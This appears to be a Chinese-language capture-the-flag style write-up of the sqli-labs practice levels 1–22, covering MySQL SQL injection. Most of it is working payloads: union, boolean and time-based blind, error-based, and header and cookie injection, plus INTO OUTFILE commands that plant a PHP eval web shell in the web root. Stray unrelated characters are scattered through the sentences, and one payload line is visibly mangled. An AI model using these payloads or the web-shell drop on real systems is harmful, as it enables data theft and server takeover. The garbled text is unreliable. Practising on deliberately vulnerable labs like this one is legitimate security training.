less-1&2
一打開就來了一句"Please input the ID as parameter with numeric value"誤導(dǎo)了我。钦铁。
真的以為是數(shù)字型注入软舌,用id=1 union select..試了半天。后來才發(fā)現(xiàn)是字符型注入牛曹。
然后用 id=0' union select 1-99#和-- 各種嘗試均失敗佛点,看writeup發(fā)現(xiàn)末尾應(yīng)該使用 --+ 來注釋。
知道了是字符型躏仇,那么先看看該sql請求查詢了幾個字段:
1' order by 1~4 --+
不斷嘗試直到by 4時頁面報錯恋脚,即查詢了三個字段,現(xiàn)在可以開始查詢了
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
故MySql常用注釋方法:
/ #(即%23) -- /.../ --+
常用函數(shù)
- version()——MySQL版本
- user()——數(shù)據(jù)庫用戶名
- database()——數(shù)據(jù)庫名
- @@datadir——數(shù)據(jù)庫路徑
- @@version_compile_os——操作系統(tǒng)版本
字符串連接函數(shù):
concat(str1,str2,...)——沒有分隔符地連接字符串
concat_ws(separator,str1,str2,...)——含有分隔符地連接字符串
group_concat(str1,str2,...)——連接一個組的所有字符串焰手,并以逗號分隔每一條數(shù)據(jù)
sql中運算優(yōu)先級and高于or,所以username=’admin’ and password=’’or 1=1
( 假 ) 或 真 = 真
常用SQL查詢語句:
show databases查詢所有庫
use table_name進(jìn)入庫,如use information_schema使用系統(tǒng)數(shù)據(jù)庫
show tables查詢庫中表
desc table_name查詢表結(jié)構(gòu)
查庫select schema_name from information_schema.schemata
查此庫的表
select table_name from information_schema.tables where table_schema=’xxxxx’
查該表的所有列:
Select column_name from information_schema.columns where table_name=’xxxxx’
查該列數(shù)據(jù):
select * from table_name where id=1--+ limit 0,1
本題query
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"
less-3
使用a'b'c'd'e測試是哪種閉合方式怀喉,發(fā)現(xiàn)返回 near 'b'c'd'e') LIMIT 0,1' at line 1
猜測SQL語句為select * from table where id=('$_GET')
故使用1')來閉合輸入
然后依舊需要用--+來注釋閉合
本題query
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
less-4:
輸入id=1'發(fā)現(xiàn)返回正常书妻,輸入id=1"返回報錯near '"1"") LIMIT 0,1'
故推測查庫語句應(yīng)該為select * where id=("...")
本題query
$id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
盲注分為三種:
布爾型,時間性躬拢,報錯型
常用截取字符串函數(shù):
mid(column_name,start,length)
column_name:要提取的字段名
start:規(guī)定開始位置(起始值為1)
length:要返回的字符數(shù)躲履,可以留空,則返回剩余文本
substr()
substring()
用法均同mid()
left(string,n) string--要截取的字符串 n--長度
left()得到字符串左邊指定個數(shù)的字符,即截取前n個字符
例如:left(database(),1)>’a’,查看數(shù)據(jù)庫名第一位
ord()
此函數(shù)為返回第一個字符的ASCII碼
例如ORD(MID(DATABASE(),1,1))>114
意為檢測database()的第一位ASCII碼是否大于114聊闯,也即是‘r’
ascii()用法如ord(需與subsrt截取函數(shù)組合使用)
用例:
substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’
若table_name首字符大于a工猜,則返回真,否則為假
常用的報錯注入函數(shù):
extractvalue(1,concat(0x7e,(select @@version),0x7e)) 查詢xml
updatexml(1,concat(0x7e,(select @@version),0x7e),1) 修改xml
less-5
使用id=1'后報錯菱蔬,故判斷為字符型篷帅。但正常頁面并不返回數(shù)據(jù),故判斷為布爾型盲注拴泌。
猜測數(shù)據(jù)庫版本號:
id=1' and left(version(),1)=5--+
猜測數(shù)據(jù)庫長度:
id=1' and length(database())>5--+
猜測數(shù)據(jù)庫名第一位:
id=1' and left(version(),1)>'a'--+
猜測數(shù)據(jù)庫第二位:
id=1' and left(version(),2)>'se'--+
猜測庫中的表名:
id=1' and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))>101
猜測表中的第一列(使用regexp列(使用regexp,測試users表中的列名是否含有us的列):
id=1' and 1=(select 1 from information_schema.columns
where table_name='users' and column_name regexp '^us[a-z]' limit 0,1) --+
猜測表中的第一列是否含有username:
id=1' and 1=(select 1 from information_schema.columns
where table_name='users' and column_name regexp '^username' limit 0,1) --+
猜測users表的內(nèi)容:(獲取username中的第一行的第一個字符的ascii魏身,與68進(jìn)行比較,
即為D蚪腐。而我們從表中得知第一行的數(shù)據(jù)為Dumb)
id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)
FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
less-6
使用id=1'無報錯箭昵,id=0'無報錯,猜測不是'閉合回季,測試id=0 or 1=1--+無果家制,
id=0' or 1=1--+無果,id=0" or 1=1--+返回正常泡一,推測使用"..."閉合
使用id=1" and 1=2--+返回錯誤颤殴,驗證推測。
此類題也可用時間注入:
IF(expression1,expression2,expression3) 如果ex1成立瘾杭,則執(zhí)行ex2诅病,否則ex3)
?id=1" and IF(length(database())>8,1,sleep(5)) --+
該語句的作用是如果數(shù)據(jù)庫長度大于8,則立刻返回正常頁面,否則延時5秒后返回
BENCHMARK(arg1,arg2) 該函數(shù)在MYSQL中用來測試一些函數(shù)的執(zhí)行速度贤笆。arg1是執(zhí)行的次數(shù)蝇棉,arg2是要執(zhí)行的函數(shù)或是表達(dá)式。
?id=1" and if(length(database())>7,BENCHMARK(1000000,md5('a')),1) --+
if條件如果為真芥永,則對字符a進(jìn)行md5編碼1000000次篡殷,否則立刻返回結(jié)果
less-7
Load_file(file_name)函數(shù)讀取文件并返回該文件的內(nèi)容作為一個字符串
使用條件:
- 必須要權(quán)限讀取且文件必須完全可讀
and (select count(*) from mysql.user)>0
如果返回正常,說明有讀寫權(quán)限埋涧。 - 欲讀取文件必須位于服務(wù)器上
- 必須指定文件完整路徑 //可以想辦法提交錯誤的Query讓程序報錯獲得路徑
- 欲讀取文件必須小于 max_allowed_packet
用法:
-
union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代碼 -
union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
“c:/boot.ini”的16進(jìn)制是“0x633a2f626f6f742e696e69” -
union select 1,1,1,load_file(c:\\boot.ini)
注意:路徑里的/用 \\代替
導(dǎo)入到文件
SELECT.....INTO OUTFILE 'file_name'
可以把被選擇的行寫入一個文件中板辽。該文件被創(chuàng)建到服務(wù)器主機上,因此您必須擁有FILE權(quán)限棘催,才能使用此語法劲弦。file_name不能是一個已經(jīng)存在的文件。
有兩種利用方式:
-
Select '<?php @eval($_post[“mima”])?>' into outfile “c:\\phpnow\\htdocs\\test.php”
//即直接將select內(nèi)容導(dǎo)入文件中,但這里需要注意特殊符號被轉(zhuǎn)義 -
Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16進(jìn)制文件
//本意是行結(jié)尾時要使用Lines terminated by 后面的內(nèi)容醇坝,通常為'/r/n',我們在BY后面添加自己的16進(jìn)制文件
可以是一句話或其他任何代碼邑跪。
Tips
- 文件路徑注意轉(zhuǎn)義
- 如果當(dāng)前頁面無法導(dǎo)出文件,可寫入到新文件中讀群糁怼:
select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php’
即將my.ini導(dǎo)出到test.php画畅,我們訪問test.php可看到文件內(nèi)容
從源代碼中可以看到Query為
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
此處依舊可以使用報錯注入,但這里我們練習(xí)文件導(dǎo)入注入
?id=1')) union select 1,group_concat(username),group_concat(password) from users into outfile 'c:\\xampp\\htdocs\\2.php' --+
導(dǎo)出用戶名及密碼宋距,需知道當(dāng)前查詢表名
有幾個需要注意的點轴踱,這里聯(lián)合查詢的條件是前面的語句為真,即id=1返回正常谚赎,還有就是windows中的'/'換成'\'
?id=1')) union select 1,'<?php @eval($_POST["syc"])?>',3 into outfile 'c:\\xampp\\htdocs\\new.php' --+
?id=1')) union select 1,version(),3 into outfile 'c:\\xampp\\htdocs\\new.php' LINES TERMINATED BY 0x3c3f70687020406576616c28245f504f53545b22737963225d293f3e --+
兩種語句均是同樣的效果淫僻,寫入一句話成功后直接用菜刀連接即可
less-8
同less-5,使用布爾或延時注入方法
less-9
通過簡單測試可以發(fā)現(xiàn)沸版,無論輸入查詢的數(shù)據(jù)正確與否嘁傀,頁面內(nèi)容不會隨之改變,故考慮使用延時注入
?id=1' and if(substr(user(),1,1)>'a',sleep(5),1) --+
延時注入完整流程
猜測數(shù)據(jù)庫:
?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+,1,1))=116,1,sleep(5))--+)
說明第一位是s (ascii碼是115)
?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+
說明第一位是e (ascii碼是101)
....
以此類推视粮,我們知道了數(shù)據(jù)庫名字是security
猜測security的數(shù)據(jù)表:
?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
猜測第一個數(shù)據(jù)表的第一位是e,...依次類推细办,得到emails
?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
猜測第二個數(shù)據(jù)表的第一位是r,...依次類推,得到referers
...
再以此類推蕾殴,我們可以得到所有的數(shù)據(jù)表emails,referers,uagents,users
猜測users表的列:
?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
猜測users表的第一個列的第一個字符是i笑撞,
以此類推,我們得到列名是id钓觉,username茴肥,password
猜測username的值:
?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+
猜測username的第一行的第一位
以此類推,我們得到數(shù)據(jù)庫username荡灾,password的所有內(nèi)容
less-10
?id=1" and if(left(user(),1)='r',sleep(5),1) --+
除使用雙引號閉合id外瓤狐,與less-9無異
less-11
該題使用POST方法提交參數(shù)瞬铸,看下Query語句
$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
先來試試萬能密碼:
username:'or 1=1 limit 1,1 #
password: whatever....
改變limit后面的數(shù)字為 2,1 3,1 4,1既可查詢不同用戶的密碼
聯(lián)合查詢
username=admin' order by 1 # 替換 1 為2,3,4...直到報錯為止,既可知道查詢的字段數(shù)
username=0' union select 1,2 # 顯示字段顯示的位置
username=0' union select user(),version() # 剩下的步驟與GET型無異
less-12
先測試一下Query語句中如何閉合一個參數(shù)的輸入
username=a'a"a')aa
報錯:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'a')aa") and password=("da") LIMIT 0,1' at line 1
可以看出應(yīng)使用 ") 來閉合
剩下與less-11無異
less-13
源碼中的Query請求:
$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
同樣構(gòu)造:
username=admin') #
password=隨便輸
顯示登陸正常础锐,但不會返回任何數(shù)據(jù)嗓节,這里要結(jié)合盲注技術(shù):
admin') union select 1,'<?php @eval($_POST["syc"])?>' into outfile 'c:\\xampp\\htdocs\\1.php' #
直接上菜刀就行
less-14
閉合參數(shù)的方法為 "$id" ,其余同less-13
less-15
先測試一下參數(shù)是如何閉合的皆警,多試幾次就發(fā)現(xiàn)uname=1' or 1=1 # 可以成功登陸拦宣,
說明參數(shù)以 '$id' 方式閉合,然后開始造輪子:
1' or 1=1 and length(user())>10 #
或者延時注入:
1' or 1=1 and if(length(user())>5,benchmark(1000000,md5('a')),1) #
接下來就是盲注的過程信姓,參考前文.
less-16
除閉合方式變?yōu)?("$id") 外鸵隧,與less-15無異
less-17
SQL中對于數(shù)據(jù)的查詢,增減與修改:
查詢
select * from users where id=1;
增加
insert into users values('16','cat','cat'); 直接增加一行數(shù)據(jù)至users表
刪除
- 刪除數(shù)據(jù)
delete from table_name;
delete from table_name where id=1; 刪除指定條件的數(shù)據(jù) - 刪除結(jié)構(gòu)
drop database database_name; 刪庫
drop table table_name; 刪表
alter table table_name drop column column_name; 刪除表中的列 - 修改
update table_name set column_name='new_value'; 修改所有列的數(shù)據(jù)
update table_name set column_name='new_value' where id=1; 指定條件修改
先來看下源碼中程序是如何修改用戶密碼的:
$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$row=mysql_query($sql);
$row1=$row['username'];
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
因為程序?qū)sername做了嚴(yán)格過濾意推,故只有password處存在注入:
構(gòu)造payload:
New Password=
123' and if(length(user())>10,1,benchmark(1111111,md5('a'))) #
剩下就是延時注入的套路了豆瘫。
less-18
先看源碼:
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";`
$insert="INSERT INTO security.uagents (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";`
這里我們在HTTP請求中User_Agent處利用報錯注入:
'and updatexml(1,(select @@version),1) and '1'='1 查詢mysql版本
'and extractvalue(1,concat(0x7e,(select @@version),0x7e,(select user()),0x7e)) and '1'='1
'and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1))) and '1'='1 查詢庫名
less-19
與less-18無異,只是將注入點換成了HTTP請求頭的Referer
less-20
先看一個函數(shù)setcookie():
setcookie(name,value,expire,path,domain,secure)
然后看關(guān)鍵的幾處源碼:
生成cookie:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];
setcookie('uname', $cookee, time()+3600);
設(shè)置cookie后:
$cookee = $_COOKIE['uname'];
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
可以看到左痢,在成功登陸后服務(wù)端會生成一段cookie靡羡,然后客戶端請求頁面(刷新)時會帶上設(shè)置的cookie,程序會讀取cookie中的uname數(shù)據(jù)俊性,并且將其帶入數(shù)據(jù)庫查詢,故我們需在uname處構(gòu)造payload:
uname=admin' and updatexml(1,(select user()),1) #
less-21
查看源碼發(fā)現(xiàn)大部分與less-20相同描扯,只是多了:
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee); //對$cookee進(jìn)行了一次BASE64解碼
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
//注意定页,此處閉合參數(shù)需要用')
那么我們將payload進(jìn)行一次BASE64編碼:
編碼前:da') and updatexml(1,(select @@version),1) #
編碼后:ZGEnKSBhbmQgdXBkYXRleG1sKDEsKHNlbGVjdCBAQHZlcnNpb24pLDEpICM=
然后在cookie中發(fā)送:
uname=ZGEnKSBhbmQgdXBkYXRleG1sKDEsKHNlbGVjdCBAQHZlcnNpb24pLDEpICM=
即可返回數(shù)據(jù)庫版本
less-22
與less-21差不多,也只是多了:
$cookee1 = '"'. $cookee. '"';
造輪子時需要用雙引號閉合绽诚。